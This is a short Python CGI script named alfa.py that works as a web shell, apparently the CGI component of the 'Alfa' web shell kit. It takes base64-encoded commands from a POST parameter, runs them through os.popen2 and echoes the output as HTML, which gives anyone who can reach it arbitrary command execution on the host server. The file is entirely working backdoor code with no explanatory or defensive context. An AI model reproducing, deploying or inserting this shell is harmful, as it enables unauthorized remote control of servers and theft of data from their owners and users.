alfa.py

#!/usr/bin/python
try:
    import cgitb; cgitb.enable()
except:
    pass
import os,cgi,base64
form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'})
cmd = form.getvalue('cmd')
check = form.getvalue('check')
print "Content-type:text/html\r\n\r\n"
if cmd:
    print base64.b64decode(check)+"<pre>"
    child_stdin, child_stdout = os.popen2(base64.b64decode(cmd))
    child_stdin.close()
    result = child_stdout.read()
    child_stdout.close()
    print result.strip()
    print "</pre>"